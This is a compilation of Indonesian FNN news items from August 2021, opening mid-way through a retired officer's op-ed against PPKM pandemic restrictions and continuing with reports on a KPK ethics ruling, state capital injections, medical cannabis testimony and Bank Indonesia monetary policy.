menyangkut kebebasan dalam kelangsung hidup. Karena manusia tidak hidup sendirian yang nota bene berkelompok, berbangsa, dan bernegara, maka muncullah kesamaan tujuan dan kepentingan yang akhirnya terjadi gesekan, persaingan, dan egosentrik. Dari sinilah lahir hukum yang bersifat mengikat untuk mengikuti aturan yang ada dan bersifat memaksa untuk yang melanggar. Selanjutnya, hak asasi munusia yang bebas tadi dibebani lagi tanggung jawab atau istilah sekarang bebas yang bertanggung jawab (inilah hubungan klausal antara HAM dan Hukum). Obyek PPKM adalah masyarakat (makhluk sosial yang beraneka ragam kepentingan, bahkan ada hubungan atau kesinambungan kerjasama di antara yang satu dengan yang lain, saling ketergantungan dalam memenuhi kebutuhan dasar untuk kelangsungan hidup sehari hari). Oleh karenanya pemerintah harus bisa menyelami dan menghayati kondisi rakyatnya, dimana hanya sebagian kecil yang hidupnya dijamin negara seperti TNI POLRI, ASN, dan jajaran stake holder yang digaji tiap bulanya, sedangkan sebagian besar lainnya hidup mandiri dan berusaha mulai tingkat tinggi hingga tingkat menengah dan rendah, bahkan ada yang selalu kesulitan dalam menghadapi hidup hari esok. Di sisi lain jika kita cermati tentang teknis tahapan dan pola operasionalnya, semestinya kita bisa berpikir logis, jika pemakain masker sudah aman kenapa harus jaga jarak, jika jarak sudah terjaga kenapa harus pakai masker. Jika bermasker dan jaga jarak sudah dilakukan kenapa harus divaksin. Jika pemakaian masker, jaga jarak dan vaksin sudah dilakukan kenapa harus di PPKM Kita memahami, itu semua sebagai penyempurnaan yang lebih baik bagi keselamatan kita semua, namun pemerintah juga perlu mempertimbangkan akibat akibat PPKM, terutama bagi rakyat kecil kebanyakan. Oleh karenanya, saya menghimbau, agar rezim ini benar-benar memahami kondisi rakyat kebanyakan agar tidak parno, trauma, atau menyepelekan PPKM ini demi efektifnya kita mencari nafkah dan terjaga dari Virus pandemi Covid - 19 ini, dengan bijak MENGHENTIKAN PPKM ! Penulis, Purnawirawan TNI AD.

Dewas KPK: Lili Pintauli Perjuangkan Uang Jasa untuk Saudaranya

Jakarta, FNN - Dewas KPK menyatakan Wakil Ketua KPK Lili Pintauli Siregar terbukti memperjuangkan pembayaran uang jasa sebesar Rp53.334.640 untuk saudaranya bernama Ruri Prihatini Lubis yang pernah menjabat Plt Direktur Perusahaan Daerah Air Minum (PDAM) Tirto Kualo Kota Tanjungbalai. "Apa yang dilakukan terperiksa adalah memperjuangkan agar uang jasa pengabdian saudaranya dibayarkan, maka menurut pendapat majelis hal tersebut adalah juga masuk ke dalam pengertian kepentingan peribadi," kata Anggota Majelis Etik Albertina Ho di Gedung KPK Jakarta, Senin. Dalam sidang diputuskan Lili Pintauli terbukti melakukan pelanggaran etik sehingga dijatuhi sanksi berat berupa pemotongan gaji pokok sebesar 40 persen selama 12 bulan. "Terperiksa kenal dengan Ruri Prihatini Lubis pada Desember 2019 dalam hubungan keluarga datang ke rumah terperiksa pada acara keluarga dan menceritakan permasalahan mengenai uang jasa pengabdian sebagai mantan Plt Direktur PDAM Tirta Kualo Tanjung Balai yang belum dibayarkan," kata Anggota Majelis Etik Harjono. Lili Pintauli lalu menyarankan kepada Ruri Prihatini agar mengirim surat kepada Direktur PDAM Tirta dengan tembusan kepada KPK RI. Atas saran Lili, Ruri mengirim surat ke Direktur PDAM Tirta Kualo pada 20 April 2020 dan surat ditembuskan ke KPK dan diterima pada 5 Mei 2020 perihal pembayaran uang jasa pengabdian "Majelis berpendapat perbuatan terperiksa meminta bantuan kepada saksi M Syahrial agar uang jasa pengabdian saksi Ruri Prihatini Lubis dibenarkan namun menurut pendapat majelis petunjuk terperiksa kepada saksi Ruri untuk membuat surat kepada Yudhi Gobel selaku Direktur PDAM Tirta dengan menyampaikan tembusan ke KPK adalah sangat berlebihan," kata Albertina Ho. Alasannya, karena masalah uang jasa pengabdian yang belum dibayarkan adalah urusan keperdataan seseorang dengan perusahaan daerah, tidak ada kaitannya dengan tugas dan kewenangan KPK baik dari sisi kegiatan pencegahan maupun penindakan. "Karena petunjuk tersebut berlebihan dan tidak ada hubungan dengan tugas dan kewenangan KPK maka majelis berpendapat terperiksa memberikan pengaruh kuat kepada M Syahrial selaku Wali Kota Tanjungbalai dan Yudhi Gobel selaku Direktur PDAM Tirto Kualo untuk membayar uang jasa pengabdian saudaranya Ruri Prihatini Lubis," tambah Albertina Yudhi Gobel, menurut Albertina, dalam persidangan menerangkan kaget mengapa permasalahan internal PDAM harus ditembuskan kepada KPK sehingga Yudhi Gobel menjawab surat Ruri Prihatini Lubis juga menembuskan ke KPK. Apalagi saat Ruri minta uang jasa pengabdiannya dibayarkan, kondisi PDAM Tirta Kualo belum memadai dan diperkuat dengan keterangan Yudhi Gobel dan Yusmada di persidangan yang menerangkan bahwa PDAM Tirta Kualo merupakan perusahaan sakit dan banyak tunggakan pembayaran gaji pegawai. "Akhirnya uang jasa pengabdian dibayar ke Ruri Prihatini Lubis dengan cara dicicil sebanyak 3 kali yang seluruhnya Rp53.334.640 sehingga majelis berpendapat dibayarkannya uang jasa pengabdian tersebut setidaknya karena pengaruh terperiksa meminta bantuan kepada Syarial selaku Wali Kota Tanjung Balai dan bagi Yudhi Gobel pembayaran tersebut setidaknya karena ada permintaan dari Syahrial selaku Wali Kota Tanjungbalai serta ada surat saksi Ruri Prihatini Lubis yang ditembuskan ke KPK," jelas Albertina. Majelis etik pun menyatakan Lili Pintauli terbukti melanggar Pasal 4 ayat 2 huruf b Peraturan Dewan Pengawas KPK No. 2 tahun 2020 tentang Penegakan Kode Etik dan Pedoman Perilaku KPK. Pasal itu mengatur mengenai "Dalam mengimplementasikan Nilai Dasar Integritas, setiap Insan Komisi dilarang: menyalahgunakan jabatan dan/atau kewenangan yang dimiliki termasuk menyalahgunakan pengaruh sebagai Insan Komisi baik dalam pelaksanaan tugas, maupun kepentingan pribadi". (mth)

Menteri BUMN: PMN 2021 Sudah Cair Rp 6,2 Triliun untuk Hutama Karya

Jakarta, FNN - Menteri BUMN Erick Thohir melaporkan penyertaan modal negara (PMN) tahun 2021 sudah cair Rp 6,2 triliun untuk PT Hutama Karya (Persero) dan PMN 2021 tambahan yang sudah masuk yakni Hutama Karya Rp9 triliun dan PT Waskita Karya (Persero) Rp7,9 triliun. "Adapun sampai Senin (30/8/2021), PMN tahun 2021 yang sudah cair sebesar Rp 6,2 triliun untuk Hutama Karya," ujar Erick Thohir dalam rapat kerja dengan Komisi VI DPR RI di Jakarta, Senin. Menteri BUMN mengatakan bahwa untuk PMN 2021 yang sebelumnya diusulkan antara lain bagi restrukturisasi IFG sebesar Rp 20 triliun, Hutama Karya Rp 6,208 triliun, PT Pelindo III Rp 1,2 triliun, PT Pengembangan Pariwisata Indonesia (Persero)/ITDC Rp 470 miliar, PT Kawasan Industri Wijayakusuma (KIW) Rp 977 miliar, PT PAL Rp 1,26 triliun, dan PT PLN Rp 5 triliun. Mayoritas PMN ini adalah untuk penugasan dan restrukturisasi. "Sementara untuk PMN 2021 BUMN sisanya masih dalam proses di Kementerian Keuangan," katanya. Erick juga menambahkan bahwa untuk PMN 2021 tambahan yang juga sudah masuk bagi Hutama Karya sebesar Rp 9 triliun dan Waskita Karya Rp 7,9 triliun. "Dengan demikian, totalnya Rp 16,9 triliun untuk PMN 2021 tambahan yang sebagian besar PMN tersebut untuk penugasan dan restrukturisasi," ujarnya. Dalam paparannya, Erick Thohir menyampaikan PMN 2021 bagi Hutama Karya tersebut ditujukan untuk penugasan mendukung pembangunan Jalan Tol Trans-Sumatera. Sedangkan PMN 2021 tambahan untuk Hutama Karya juga ditujukan sebagai tambahan dukungan untuk pembangunan Tol Trans-Sumatera. Terkait PMN 2021 tambahan untuk PT Kereta Api Indonesia (KAI) sebesar Rp 7 triliun yang sebelumnya diusulkan untuk penugasan terkait dukungan dalam rangka menjalankan proyek strategis nasional (PSN) kereta LRT dan pemenuhan base equity Kereta Cepat KCIC, Menteri BUMN menyampaikan bahwa PMN 2021 tambahan untuk BUMN tersebut belum disetujui. Sebelumnya, Komisi VI DPR menyetujui usulan tambahan PMN 2021 sebesar Rp 33,9 triliun untuk penanganan COVID-19 dan menggerakkan perekonomian nasional pada masa pandemi COVID-19 dengan catatan dilakukan secara transparan, akuntabel, dan dilaporkan secara berkala kepada Komisi VI DPR. Wakil Ketua Komisi VI DPR Aria Bima mengatakan bahwa Komisi VI mendesak Kementerian BUMN mengalokasikan tambahan PMN 2021 kepada BUMN farmasi dan PT Pertamedika IHC untuk meningkatkan ketersediaan tempat tidur, ruang ICU, vitamin dan obat-obatan pada masa pandemi COVID-19. (mth)

Rektor UI: Menangkan Kompetisi Perlu Ditunjang Kemampuan "Soft Skill"

Depok, FNN - Rektor Universitas Indonesia (UI) Prof Ari Kuncoro mengatakan bahwa untuk memenangkan kompetisi perlu ditunjang dengan kemampuan "softskill" (non-teknis) yang mumpuni. “Perwujudan kebebasan akademik di UI adalah diterapkannya Program Merdeka Belajar yang menuntut kecapakan intelektual dan keterampilan praktis secara profesional. Artinya, untuk dapat memenangkan kompetisi tidak cukup hanya memiliki kemampuan kognitif, perlu ditunjang dengan kemampuan 'soft skill' tinggi seperti bekerja sama dalam tim, membangun jejaring, serta berbagai kemampuan lainnya,” katanya dalam keterangan di Kampus UI, Depok, Jawa Barat, Senin. Saat memberikan sambutan penutup Program Kegiatan Awal Mahasiswa Baru (KAMABA) UI tahun akademik 2021/2022 berisi pesan kepada para mahasiswa baru, ia berharap meski dilakukan secara virtual, mahasiswa baru tetap dapat merasakan atmosfer akademik di UI melalui acara tersebut. Lebih lanjut, Rektor UI menyatakan harapan bahwa ilmu dan berbagai fasilitas yang telah disediakan oleh UI dapat dimanfaatkan semaksimal mungkin sebagai bekal dalam menghadapi berbagai tantangan di masa yang akan datang. Rektor juga menyampaikan agar seluruh mahasiswa baru dapat mengamalkan 9 nilai UI dalam segala tindakan sebagai bekal meraih prestasi. Kesembilan nilai UI tersebut yakni, kejujuran, tanggung jawab, keadilan, kebersamaan, keterpercayaan, keterbukaan, kemartabatan, kebebasan akademik, dan kepatuhan pada aturan. Sementara itu laporan penutupan Program KAMABA UI tahun akademik 2021/2022​​​​​​​ disampaikan oleh Wakil Rektor UI Bidang Akademik dan Kemahasiswaan Prof. Dr. rer. nat. Abdul Haris. Ia melaporkan bahwa KAMABA UI berlangsung selama satu bulan, mulai 26 Juli – 27 Agustus 2021 dengan tema “Satu Karena Beda” berjalan lancar. Dalam kegiatan tersebut, telah dilakukan dengan berbagai kegiatan diantaranya pembukaan, Pengenalan Kehidupan Kampus bagi Mahasiswa Baru, Orientasi Belajar Mengajar, Pengenalan Sistem Akademik Universitas dan Fakultas, paduan suara mahasiswa baru yang dipandu oleh AG Sudibyo yang telah lebih dari 30 tahun menjadi konductor paduan mahasiswa baru, Orientasi Kehidupan Kampus bertema “Ragam Gelora” telah disaksikan lebih dari 26.000 pemirsa akun Youtube, pembagian jaket almamater, dan penutupan. Adapun agenda tambahan dan guna mempercepat penanganan pandemi COVD-19 adalah program vaksinasi untuk mahasiswa baru yang dilaksanakan di Sarana Olah Raga Kampus UI Depok dengan kuota 1.000 dosis/hari, kuliah umum mengundang peraih Nobel Laureate Bidang Fisika pada tahun 2018 Prof. Gérard A. Mourou, "master class", temu wicara, "booth" Unit Kegiatan Mahasiswa dan Fakultas, serta Festival Seni. PKKMB UI 2021, yang merupakan hasil sinergi Direktorat Kemahasiswaan, Makara Art Center, Biro Humas dan KIP UI, dan pihak lainnya. Pada akhir sesi penutupan KAMABA UI, dilakukan simbolisasi pemakaian jaket kuning oleh Ketua Majelis Wali Amanat UI, Saleh Husin, S.E., M.Si., kepada dua perwakilan Mahasiswa Baru, yaitu Fathia Ateh dan Tegar Andi Putra. Dengan simbolisasi tersebut, maka lebih dari 8.000 mahasiswa baru UI resmi menjadi mahasiswa UI. Universitas Indonesia (UI) menutup rangkaian kegiatan KAMABA UI tahun akademik 2021/2022 pada Jumat (27/8) 2021. Pada acara ini, hadir secara virtual Ketua DPR Puan Maharani, Ketua Dewan Analisa Strategis Badan Intelijen Negara​​​​​​​ (BIN) Letjen TNI (Pur) Muhammad Munir. ​​​​​​​ Sedangkan untuk kelas master class hadir tiga pembicara, yakni Direktur Utama Etana Biotech Indonesia, Nathan Tirtana; produser dan sutradara film nasional, Garin Nugroho; dan Ilham Akbar Habibie, teknokrat. Semua rangkaian acara penutupan ini disiarkan langsung di kanal Youtube Universitas Indonesia. (mth)

Saham Unggulan China Tergelincir, Sementara Saham Shanghai Naik Senin

Shanghai, FNN - Saham unggulan China tergelincir pada hari Senin, sementara saham Shanghai naik sedikit karena pelaku pasar menunggu survei manajer pembelian (PMI) manufaktur dan jasa untuk melihat apakah tren perlambatan pertumbuhan akan berlanjut. Indeks saham unggulan CSI300 turun 0,3 persen menjadi 4.813,27, sedangkan Indeks Komposit Shanghai naik tipis 0,2 persen menjadi 3528,15. Ketua Bank Sentral AS Federal Reserve Jerome Powell mengisyaratkan bank sentral akan tetap bersabar menanti sampai ekonomi kembali ke jalur tenaga kerja penuh dan tidak memberikan petunjuk baru tentang dimulainya pengurangan pembelian obligasi. Dia membuat komentar tersebut secara virtual pada simposium ekonomi tahunan The Fed Jackson Hole, Wyoming. Investor menanti data PMI minggu ini untuk melihat apakah pembuat kebijakan akan meningkatkan dukungan. Sub-indeks saham terkait sumber daya naik 2,5 persen ke level tertinggi dalam enam tahun, setelah produsen baja China Baoshan Iron & Steel Co Ltd melaporkan pendapatan bersih kuartalan tertinggi yang pernah ada. Sub-indeks energi baru dan sub-indeks kendaraan energi baru masing-masing naik 3,4 persen dan 1 persen, setelah produsen litium top China Tianqi Lithium Corp membukukan laba bersih pertamanya dalam dua tahun karena harga komoditas yang digunakan dalam baterai kendaraan listrik (EV) itu naik tinggi dari penurunan yang berlarut-larut. Sub-indeks pertahanan berakhir naik 3,7 persen. Sebuah kapal perang AS dan kapal penjaga pantai AS berlayar melalui Selat Taiwan pada hari Jumat, dan China pada hari Sabtu menyebut langkah itu "provokatif." Saham penyedia layanan pusat data yang didukung negara China melonjak, karena kota Tianjin di China meminta perusahaan yang dikendalikan pemerintah kota itu untuk melakukan migrasi data mereka dari operator sektor swasta ke sistem cloud yang didukung negara pada tahun depan. Sub-indeks real estat turun 4 persen, setelah raksasa industri China Vanke Co Ltd membukukan hasil pendapatan yang lemah di tengah pengetatan sektor properti. Sementara itu sub-indeks saham perbankan turun 1,9 persen. (mth)

KBRI Tokyo Beri Penghargaan pada Awak Kapal Latih AL Jepang

Jakarta, FNN - Pemerintah Indonesia melalui Duta Besar RI untuk Jepang Heri Akhmadi memberikan penghargaan kepada awak latih Angkatan Laut (AL) Jepang JS Kashima 3508 karena telah menyelamatkan tiga anak buah kapal (ABK) Indonesia. Penghargaan dari pemerintah Indonesia itu diterima oleh Kepala Staf Pasukan Bela Diri Angkatan Laut Jepang Laksamana Hiroshi Yamamura di Markas Pasukan Bela Diri AL Kementerian Pertahanan Jepang di Ichigaya Tokyo pada Senin (30/8). JS Kashima telah menyelamatkan tiga warga Indonesia yang merupakan ABK kapal motor Mitra Usaha GT 32, menurut keterangan KBRI Tokyo yang diterima di Jakarta, Senin. Dubes Heri dalam sambutannya mengucapkan terima kasih kepada awak kapal JS Kashima 3508. "Atas nama Pemerintah Indonesia saya mengucapkan terima kasih atas bantuan dan aksi penyelamatan terhadap tiga awak Kapal Motor Mitra Usaha, GT 32, oleh kapal perang latih (cadet training ship) JS Kashima 3508," ujar Dubes Heri. Dalam kesempatan itu, dia juga membahas kerja sama bidang pertahanan antara Indonesia dan Jepang. Dubes mengapresiasi komitmen Menteri Pertahanan Indonesia dengan Menteri Pertahanan Jepang pada Maret 2021 untuk terus meningkatkan kerja sama di bidang pertahanan. "Saya sangat menghargai apabila latihan bersama antara Angkatan Laut Jepang dan Angkatan Laut Indonesia dapat terlaksana sebagai bentuk dari implementasi kerja sama ini," kata Heri. Laksamana Hiroshi Yamamura mengapresiasi penghargaan yang diberikan kepada awak kapal JS Kashima 3508. Tindakan penyelamatan terhadap awak kapal motor itu, menurut Hiroshi Yamamura, sudah menjadi tanggung jawab bersama di seluruh wilayah perairan. Sebelumnya, kapal latih AL Jepang JS Kashima menyelamatkan tiga ABK dari KM Mitra Usaha yang mengalami kebocoran dan tenggelam di perairan Batang Dua, Ternate pada Sabtu (3/7) lalu. Setelah terombang-ambing di laut selama empat hari, ketiganya diselamatkan oleh kapal latih AL Jepang tersebut pada Kamis (8/7). Saat itu JS Kashima tengah berlayar menuju Jepang setelah melaksanakan kunjungan persahabatan ke TNI AL sekaligus mengisi bekal logistik di Surabaya, Jawa Timur. (mth)

Menkominfo Dukung RUU PDP Selesai pada Masa Sidang I

Jakarta, FNN - Menteri Komunikasi dan Informatika (Menkominfo) Johnny G Plate menegaskan bahwa kementeriannya mendukung Rancangan Undang-Undang Perlindungan Data Pribadi (RUU PDP) dapat diselesaikan pembahasannya di DPR RI pada Masa Persidangan I Tahun Sidang 2021-2022. "DPR telah menetapkan RUU PDP sebagai salah satu prioritas (yang diselesaikan) pada Masa Persidangan I. Karena itu saya memberikan dukungan agar RUU PDP diselesaikan pada masa sidang ini," kata Johnny di Kompleks Parlemen, Jakarta, Senin. Dia meyakini RUU PDP dapat diselesaikan pada Masa Persidangan I karena bukan termasuk RUU yang perlu pembahasan panjang. Namun, menurut dia, ada beberapa isu strategis yang perlu dicari titik temu dan diletakkan dalam rumusan yang tepat. "Semua itu dasarnya hanya satu, yaitu kepentingan negara dan perlindungan data masyarakat Indonesia. Bukan kepentingan perlindungan bangsa-bangsa lain," ujarnya. Sebelumnya, Ketua DPR RI Puan Maharani mengatakan lembaganya akan fokus menyelesaikan pembahasan tingkat I sebanyak tujuh Rancangan Undang-Undang (RUU) pada Masa Persidangan I Tahun Sidang 2021-2022. Dia menegaskan DPR RI memiliki komitmen yang tinggi untuk memastikan tugas-tugas negara tetap dapat berjalan dengan baik, meski di tengah kondisi pandemi COVID-19. "Dalam melaksanakan fungsi legislasi, pada masa sidang ini, DPR RI akan memfokuskan penyelesaian sejumlah pembahasan RUU tingkat I bersama pemerintah," kata Puan dalam Rapat Paripurna Pembukaan Masa Persidangan I DPR Tahun Sidang 2021-2022 di Gedung MPR/DPR/DPD RI, Jakarta, Senin (16/8). Dia menjelaskan ketujuh RUU tersebut adalah RUU Perlindungan Data Pribadi (PDP), RUU tentang Penanggulangan Bencana, RUU tentang Perubahan Kelima atas Undang Undang Nomor 6 Tahun 1983 tentang Ketentuan Umum dan Tata Cara Perpajakan. Selanjutnya, RUU tentang Hubungan Keuangan antara Pemerintah Pusat dan Pemerintah Daerah, RUU tentang Jalan, RUU tentang Badan Usaha Milik Desa, dan RUU tentang Sistem Keolahragaan Nasional.

Ketua KPK: OTT Bupati Probolinggo Komitmen KPK Berantas Korupsi

Jakarta, FNN - Ketua Komisi Pemberantasan Korupsi (KPK) Firli Bahuri mengatakan operasi tangkap tangan (OTT) terhadap Bupati Probolinggo, Jawa Timur Puput Tantriana Sari dan kawan-kawan merupakan komitmen lembaganya memberantas korupsi. "KPK tetap berkomitmen melakukan pemberantasan dan tidak pernah berhenti sampai Indonesia bersih dari praktik-praktik korupsi," kata Firli dalam keterangannya di Jakarta, Senin. Puput ditangkap bersama Anggota DPR RI dari Fraksi Partai NasDem Hasan Aminuddin yang juga suaminya dan delapan orang lainnya. "Untuk kegiatan tangkap tangan di Probolinggo, direktur penyelidikan dan anggota masih bekerja. Tolong berikan waktu untuk kami bekerja," ucap Firli. Ia mengatakan KPK akan memberikan penjelasan secara utuh setelah mengumpulkan keterangan dan barang bukti. "Karena kami bekerja berdasarkan bukti-bukti dan dengan bukti-bukti tersebut lah membuat terangnya suatu peristiwa pidana dan menemukan tersangka," ucap Firli. Sebelumnya, KPK menginformasikan telah menangkap 10 orang terkait OTT di Kabupaten Probolinggo. "Sejauh ini, ada sekitar 10 orang yang diamankan di antaranya kepala daerah, beberapa ASN Pemkab Probolinggo, dan pihak-pihak terkait lainnya," kata Plt Juru Bicara KPK Ali Fikri. Ali mengatakan pihak-pihak yang telah ditangkap tersebut sudah dibawa ke Gedung KPK, Jakarta untuk diperiksa secara intensif. Sesuai KUHAP, KPK memiliki waktu 1x24 jam untuk menentukan status dari pihak-pihak yang ditangkap tersebut. (mth)

Ahli Asal Inggris Jelaskan Ganja Medis dalam Uji Materi UU Narkotika

Jakarta, FNN - Ahli obat-obatan dari Imperial College London di Inggris, David Nutt, menjelaskan penggunaan ganja medis yang cukup aman untuk kebutuhan penanganan penyakit tertentu. "Ganja medis tidak hanya digunakan secara luas, tetapi juga aman," kata Nutt sebagaimana disampaikan ulang oleh penerjemah Miki Salman dalam sidang uji materi UU Nomor 35/2009 tentang Narkotika yang digelar Mahkamah Konstitusi (MK), Senin. Nutt menyebut, banyak negara yang telah memanfaatkan ganja medis bagi pelayanan kesehatan dan diatur dalam regulasinya, seperti Jerman, Italia, Belanda, Amerika Serikat, Kanada, Israel, dan Australia. Ia menekankan ganja medis memiliki sifat unik dan mengatakan, dokter spesialis di Inggris juga diizinkan untuk memberikan resep tersebut. Dalam penjelasannya, zat tetrahidrokanabinol (THC) maupun kanabidiol (CBD) yang terkandung dalam ganja medis bermanfaat dalam penanganan pasien anak yang menderita epilepsi hingga pasien penyakit neuropati. Nutt memaparkan data statistik dan penelitian dari penanganan pasien kedua penyakit tersebut dan menunjukkan bahwa perawatan ganja medis memberikan efek yang lebih baik dibandingkan penggunaan obat-obatan konvensional lainnya. "Saya berusaha menunjukkan bahwa di Inggris ada bukti sangat kuat terkait efektivitas ganja medis dan ada banyak sekali bukti yang membuat zat ini dikategorisasi ulang karena memiliki sifat-sifat khasiat medis yang unik," ujar Nutt. Ia hadir sebagai ahli yang dihadirkan pemohon bersama dengan dua ahli lainnya dalam sidang tersebut, yakni Dekan Fakultas Hukum Unika Atma Jaya Jakarta, Asmin Fransiska, serta guru besar kimia bahan alam Universitas Syiah Kuala di Banda Aceh, Musri Usman. Pemohon uji materi penjelasan pasal 6 ayat (1) huruf a dan pasal 8 ayat (1) UU Nomor 35/2009 tentang Narkotika terhadap UUD 1945 adalah Dwi Pertiwi, Santi Warastuti, Nafiah Murhayanti, Perkumpulan Rumah Cemara, Institute for Criminal Justice Reform (ICJR) dan Perkumpulan Lembaga Bantuan Hukum Masyarakat atau Lembaga Bantuan Hukum Masyarakat (LBHM). Dalam sidang sebelumnya pada 20 April 2021, pemohon menyampaikan narasi ilmiah sehubungan dengan perbandingan dari negara-negara lainnya di dunia yang menggunakan terapi ganja sebagai bagian dari pengobatan untuk penderita cerebral palsy atau lumpuh otak. Menurut pemohon, ketentuan penjelasan pasal 6 ayat (1) huruf a dan Pasal 8 ayat (1) UU Narkotika tersebut telah mengakibatkan hilangnya hak para pemohon untuk mendapatkan manfaat pengembangan ilmu pengetahuan dan teknologi berupa hasil penelitian tentang manfaat kesehatan dari narkotika golongan I. Sementara itu, dalam sidang pada hari Selasa (10/8), Direktur Jenderal Kefarmasian dan Alat Kesehatan Kementerian Kesehatan, Arianti Anaya, yang mewakili pemerintah menjelaskan bahwa larangan penggunaan minyak ganja ataupun ganja untuk tujuan medis belum dapat dilakukan di Indonesia. Selain karena sulitnya pengawasan penggunaan ganja jika dilihat dari letak geografis Indonesia, Arianti juga menyebut belum ada bukti manfaat klinis dari penggunaan ganja ataupun minyak ganja untuk pengobatan di Indonesia. Sidang selanjutnya akan diselenggarakan pada hari Selasa (14/9) mendatang dengan agenda mendengarkan keterangan dari tiga orang ahli pemohon berikutnya. (mth)

Partai Gelora: Kenaikan Angka Kemiskinan 2 Digit, Ancaman Bagi Stabilitas Ekonomi

Jakarta, FNN - Ketua Umum Partai Gelombang Rakyat (Gelora) Indonesia Anis Matta menegaskan, kenaikan angka kemiskinan dua digit selama pandemi Covid-19 yang dirilis Badan Pusat Statistik (BPS) beberapa waktu lalu, bisa menjadi ancaman serius bagi stabilitas ekonomi negara dan bangsa Indonesia. "Dua tahun terakhir ini, hampir 3 juta orang yang balik menjadi miskin. Mereka berasal dari kelas menengah yang relatif cukup bagus dalam 20 tahun terakhir, tapi pandemi ini menjelaskan kepada kita bahwa kelas menengah kita rapuh," kata Anis Matta dalam pengantar diskusi Gelora Talks dengan tema 'Anomali Pandemi di Indonesia: Yang Kaya Makin Kaya, Yang Miskin Makin Miskin' di Jakarta, Rabu (25/8/2021) petang. Diskusi daring ini dihadiri narasumber antara lain ekonom senior Dr Hendri Saparini, Direktur CELIOS Bhima Yudhistira Adhinegara SE, MSc dan Direktur Eksekutif Next Policy Fithra Faisal Hastiadi Ph.D Menurut Anis, bertambahnya orang miskin dari kelas menengah bisa menjadi ancaman stabilitas apabila tidak ada bantuan serius untuk dicarikan jalan keluarnya agar mereka tidak terjun ke jurang kemiskinan. "Sekarang kita menghadapi kesenjangan, yang mengingatkan kita kembali dengan lagu Rhoma Irama yang dibuat di era pembangunan zaman Pak Harto dulu, Yang Kaya Makin Kaya, Yang Miskin Miskin, karena ada pertumbuhan yang tidak disertai pemerataan. Tapi sekarang ini, kita tidak sekadar bicara tidak adanya pemerataan, tapi juga pertumbuhan yang terancam," ungkap Anis. Anis Matta menilai selama pandemi di Indonesia saat ini terjadi anomali dimana yang kaya justru semakin meningkat kekayaannya. Namun, terkait hal ini tak perlu dicegah, pemerintah tidak perlu mencegah seseorang menjadi kaya. "Tapi lebih kepada menghilangkan kesenjangan yang ada di masyarakat. Kerapuhan ini yang mesti kita pikirkan bersama apa yang bisa kita lakukan untuk menguatkan kelas menengah ini, mengurangi angka kemiskinannya," ujarnya. Rapuhnya kelas menengah menjadi miskin, kata Anis Matta, akan semakin memperlebar ketimpangan ekonomi dan sosial, sehingga diperlukan satu struktur ekonomi baru yang tidak akan berdampak buruk bagi stabilitas negara dan bangsa. "Saya ingin menggarisbawahi bahwa usaha kita untuk menyelesaikan persoalan ketimpangan sosial dan ekonomi ini membutuhkan satu narasi ekonomi baru, satu mazhab ekonomi baru," katanya. Konsep Geloranomics yang sedang dikembangkan Partai Gelora, menurut Anis Matta, bisa menjadi madzab ekonomi baru yang berorientasi pada pemberdayaan masyarakat, disamping isu lingkungan yang sangat fundamental. "Saya menemukan satu benang merah disini, satu titik dimana Partai Gelora yang sedang mengembangkan konsep Geloranomics, yang salah satu orientasi dasarnya adalah isu lingkungan, juga orientasi pemberdayaan masyarakat untuk menutup kesenjangan ekonomi. Ini tantangan besar ekonomi, bukan hanya di kita tapi juga di dunia," katanya. Ekonom Senior Hendri Saparani mengatakan, setiap kali ada krisis pemerintah selalu memberikan stimulus fiskal dengan memberikan dokumen pembiayaan belanja yang besar untuk menjaga stabilitas ekonomi. "Namun, upaya tersebut seringkali tidak tepat sasaran seperti kita lihat jumlah dana pihak ketiga yang diatas Rp 2 miliar terus naik tahun 2021, meningkatnya luar biasa 30 persen. Mestinya kita lebih baik membuat kebijakan mendorong terjadi pertumbuhan mendorong ekonomi masyarakat," kata Hendri Saparani. Hal senada disampaikan Direktur CELIOS Bhima Yudhistira Adhinegara. Bhima mengatakan banyak kebijakan yang dinilai pro rakyat ternyata banyak mengamankan kepentingan pengusaha dengan dalih bermacam-macam seperti menyerap tenaga kerja. "Kebijakan yang disebut bangun jalan dan segala macem yang menyerap tenaga kerja lebih optimal, ada yang kemudian bilang ini pro rakyat, tapi ternyata kebijakan-kebijakannya mengamankan kepentingan pengusaha," kata Bhima Yudistira. Sementara Direktur Eksekutif Next Policy Fithra Faisal Hastiadi menambahkan, pemerintah seharusnya menggelontorkan uang ke sektor-sektor yang efisien agar ekonomi bisa bergerak menjadi pertumbuhan. "Apa yang disampaikan Ibu Sri Mulyani (Menteri Keuangan) dalam menghadapi pandemi, tidak mencerminkan analisa-analisa yang disampaikan, sehingga secara teknis banyak sektor-sektor yang tidak efisien. Kita butuh kerja keras untuk memperbaiki policy tersebut," kata Fithra Faisal. (Parahyangan Pos)

Gubernur BI Terus Pantau Risiko Perubahan Kebijakan Bank Sentral AS

Jakarta, FNN - Gubernur Bank Indonesia (BI) Perry Warjiyo menegaskan pihaknya terus memantau risiko waktu dan besaran perubahan kebijakan atau tapering Bank Sentral Amerika Serikat, The Fed, yang kemungkinan akan terjadi dalam waktu dekat. "Pernyataan terakhir dari Gubernur The Fed Jeremy Powel dalam Jackson Hall kemarin melihat kemungkinan mulainya pengurangan likuiditas di akhir tahun ini, meskipun kenaikan suku bunga masih di penghujung tahun 2022," ungkap Perry dalam rapat kerja dengan Komisi XI DPR di Jakarta, Senin. Meski begitu, ia menilai reaksi dan pemahaman pasar mengenai kemungkinan perubahan kebijakan Fed tersebut sudah semakin baik saat ini. Kendati demikian, BI akan terus mengantisipasi kemungkinan-kemungkinan tersebut dalam menjaga stabilitas nilai tukar rupiah, pasar surat berharga negara (SBN), dan pemulihan ekonomi ekonomi global. Perry menjelaskan pergerakan nilai tukar rupiah secara teknikal belakangan ini memang dipengaruhi reaksi pasar terhadap kemungkinan perubahan kebijakan Bank Sentral AS, namun langkah-langkah stabilisasi terus dilakukan. "Kalau diperlukan melalui intervensi pasar. Tapi, secara keseluruhan pergerakan nilai tukar rupiah itu sesuai dengan mekanisme pasar, tidak banyak kami lakukan intervensi kecuali pada periode pasar mendapat tekanan seperti pada awal tahun 2022 ini karena kenaikan kasus COVID-19 varian Delta," tegasnya. Maka dari itu, ia menyebutkan perkembangan COVID-19 varian Delta yang sudah terjadi di berbagai negara juga menjadi salah satu risiko global yang akan terus dipantau saat ini. "Kenaikan kasus COVID-19 tentu mempengaruhi pola pertumbuhan ekonomi global yang akan menjadi berbeda-beda karena tergantung pada kemajuan vaksin dan besarnya stimulus," ujar Perry. Ia menilai dampak dari divergensi pertumbuhan ekonomi di berbagai dunia tersebut mempengaruhi kinerja ekspor 